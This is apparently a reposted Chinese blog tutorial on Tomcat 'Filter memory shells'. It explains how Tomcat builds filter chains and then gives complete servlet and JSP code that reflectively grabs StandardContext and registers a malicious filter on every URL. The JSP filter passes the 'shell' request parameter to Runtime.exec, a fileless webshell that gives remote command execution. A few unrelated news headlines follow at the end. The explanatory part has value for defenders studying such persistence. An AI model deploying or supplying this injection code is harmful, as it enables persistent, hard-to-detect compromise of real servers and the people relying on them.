当前位置: 主页 > 开盘 > 内容页

tomcat Filter内存马-全球速讯

2023-07-06 02:52:33 来源:博客园

idea调试的时候加入源代码

    org.apache.tomcat    tomcat-catalina    8.5.81    provided

Servlet、Listener、Filter 由 javax.servlet.ServletContext去加载,无论是使用 xml 配置文件还是使用 Annotation 注解配置,均由 Web 容器进行初始化,读取其中的配置属性,然后向容器中进行注册。

Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add/create方法来实现动态注册的功能。


【资料图】

ServletContext

它会为每个web程序都创建一个对应的ServletContext对象,它代表当前的web应用。 事实上SpringMVC封装的ApplicationContext 以及Struts2封装的ApplicationContext里面都是保存着原本的ServletContext。

作用:

Web应用范围内存取共享数据;访问web应用的静态资源;Servlet对象之间通过ServletContext对象来实现通讯。

ServletContext跟StandardContext的关系

StandardContext

StandardContext是Tomcat服务器中的一个组件,用于管理Web应用程序的上下文(Context)。它是javax.servlet.ServletContext接口的实现类,提供了一些额外的功能和管理能力。StandardContext负责加载和初始化Web应用程序的配置信息,包括Servlet、Filter、Listener等组件的注册和管理。它还提供了对Web应用程序的生命周期管理,例如启动、停止和重新加载等操作。

ServletContext

ServletContext是Java Servlet规范中的一个接口,表示Web应用程序的上下文。每个Web应用程序都有一个唯一的ServletContext实例,用于在应用程序内共享信息和资源。ServletContext提供了一些方法,用于获取Web应用程序的初始化参数、访问应用程序范围的属性、读取Web应用程序的配置信息等。它还提供了一些与Web容器交互的方法,例如获取请求调度器、获取资源的真实路径等。

总结:StandardContext是Tomcat服务器中用于管理Web应用程序的上下文的实现类,而ServletContext是Java Servlet规范中定义的用于表示Web应用程序上下文的接口。它们的主要区别在于StandardContext提供了更多的管理和生命周期控制功能,而ServletContext则提供了访问应用程序范围的属性和配置信息的方法。

Tomcat 中有 4 类容器组件,从上至下依次是:

Engine,实现类为 org.apache.catalina.core.StandardEngineHost,实现类为 org.apache.catalina.core.StandardHostContext,实现类为 org.apache.catalina.core.StandardContextWrapper,实现类为 org.apache.catalina.core.StandardWrapperFilter 内存马

Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。

通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:

使用 ServletContext 的 addFilter/createFilter 方法注册;使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册(将会在 Listener 中进行描述);使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册(非动态,后面会描述)。追溯Filter的doFilter:

FilterDemo重写了doFilter,如何执行到FilterDemo的doFilter?

ApplicationFilterChain的doFilter被执行,执行了internalDoFilter;

filters[]是存放ApplicationFilterConfig的地方,包含filterDef和fitler对象,取出每个元组,赋值给filterConfig;

Filter filter = filterConfig.getFilter();

然后执行了filter.doFilter(request, response, this);

filters[]是在哪里赋值的呢?

在StandardWrapperValve的invoke中

ApplicationFilterChain filterChain =ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);然后执行了filterChain.doFilter。

看看createFilterChain里面做了什么?

在ApplicationFilterFactory的createFilterChain中

ApplicationFilterChain filterChain = null;

StandardContext context = (StandardContext) wrapper.getParent();

FilterMap filterMaps[] = context.findFilterMaps();从StandardContext配置文件中获取filter,放入filterMaps

这里是根据前面获取的filterMaps循环来获取的

for (FilterMap filterMap : filterMaps) ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)                    context.findFilterConfig(filterMap.getFilterName());filterChain.addFilter(filterConfig);

filterChain.addFilter(filterConfig),最后return filterChain。

在ApplicationFilterChain的addFilter中做了什么?filters[n++] = filterConfig;所以最终filters[]里面会有所有filter的filterConfig;

FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和Filter 对象等信息FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern
fiterConfig的内容都是从context中得到,因此只要我们能控制context的内容就行了动态注册Filter

经过上面的分析,我们可以总结出动态注册Filter的流程:

获取上下文对象StandardContext创建恶意Filter构造FilterDef封装filter创建filterMap,将路径与Filtername绑定,将其添加到filterMaps中使用FilterConfig封装filterDef,然后将其添加到filterConfigs中
package com.example.webshellfilter;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.ApplicationContextFacade;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import sun.misc.BASE64Decoder;import javax.servlet.Filter;import javax.servlet.ServletContext;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.HashMap;import java.util.List;@WebServlet(name = "filterServlet", value = "/filterServlet")public class FilterServletDemo extends HttpServlet {    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {        try {            //1、通过request获取ServletContext类            //通过request获取servletContext            ServletContext servletContext = request.getServletContext();            //其实这里是ApplicationContextFacade的类            System.out.println(servletContext.getClass());            Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");            applicationContextFacadefield.setAccessible(true);            //获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext            ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);            //通过applicationContext对象获取StandardContext            Field standardContextfield = applicationContext.getClass().getDeclaredField("context");            standardContextfield.setAccessible(true);            StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);            //将Filter对象通过反射实现加载            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();            //2、在Java中,可以使用defineClass方法将一个类动态地注入到当前的JVM中,这里将filter类注入进去            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);            defineClass.setAccessible(true);            BASE64Decoder base64Decoder = new BASE64Decoder();            byte[] code = base64Decoder.decodeBuffer("yv66vgAAADQAWg....");            defineClass.invoke(classLoader,code, 0, code.length);            //3、添加filterDef            System.out.println(Class.forName("FilterDemo").getName());            Filter filterDemo = (Filter) Class.forName("FilterDemo").newInstance();            FilterDef filterDef = new FilterDef();            filterDef.setFilter(filterDemo);            filterDef.setFilterName("FilterDemo");            standardContext.addFilterDef(filterDef);            //4、添加filterMap            FilterMap filterMap = new FilterMap();            filterMap.setFilterName("FilterDemo");            filterMap.addURLPattern("/*");            standardContext.addFilterMap(filterMap);            //添加到standardContext的filterConfigs中            //反射获取filterConfigs            //由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");            filterConfigs.setAccessible(true);            HashMap hashMap = (HashMap) filterConfigs.get(standardContext);            Constructor declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];            declaredConstructor.setAccessible(true);            hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));            PrintWriter out = response.getWriter();            out.println("over");        } catch (Exception e) {            throw new RuntimeException(e);        }    }}

jsp实现

<%@ page language="java" %><%@ page import="javax.servlet.http.HttpServletRequest" %><%@ page import="javax.servlet.http.HttpServletResponse" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.lang.reflect.Method" %><%@ page import="sun.misc.BASE64Decoder" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.util.HashMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="java.io.IOException" %>    Get Request Object in JSP

Get Request Object in JSP

<% class FilterDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("初始加完成"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); System.out.println(servletRequest.getParameter("shell")); Runtime.getRuntime().exec(servletRequest.getParameter("shell")); System.out.println("过滤中。。。"); filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { System.out.println("过滤结束"); } } //1、通过request获取ServletContext类 //通过request获取servletContext ServletContext servletContext = request.getServletContext(); //其实这里是ApplicationContextFacade的类 System.out.println(servletContext.getClass()); Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context"); applicationContextFacadefield.setAccessible(true); //获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext); //通过applicationContext对象获取StandardContext Field standardContextfield = applicationContext.getClass().getDeclaredField("context"); standardContextfield.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext); //3、添加filterDef FilterDemo filterDemo = new FilterDemo(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(filterDemo); filterDef.setFilterName("FilterDemo"); filterDef.setFilterClass(filterDemo.getClass().getName()); standardContext.addFilterDef(filterDef); //4、添加filterMap FilterMap filterMap = new FilterMap(); filterMap.setFilterName("FilterDemo"); filterMap.addURLPattern("/*"); standardContext.addFilterMap(filterMap); //添加到standardContext的filterConfigs中 //反射获取filterConfigs //由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); HashMap hashMap = (HashMap) filterConfigs.get(standardContext); Constructor declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0]; declaredConstructor.setAccessible(true); hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef)); System.out.println("over");%>

标签:

发展
杨栋主持召开渔业安全生产工作会议
【来源:盘锦市农业农村局_动态要闻】7月3日,大洼区区委书记杨栋主持
世界热点!如何激励员工积极性话语_如何激励员工积极性
1、如果激励员工的积极性。2、市面上有很多的书。3、但通过本人在实际
方晓松_关于方晓松简介
1、方晓松(网名:拔刀,1977-2016年8月26日),男,河南许昌人,深圳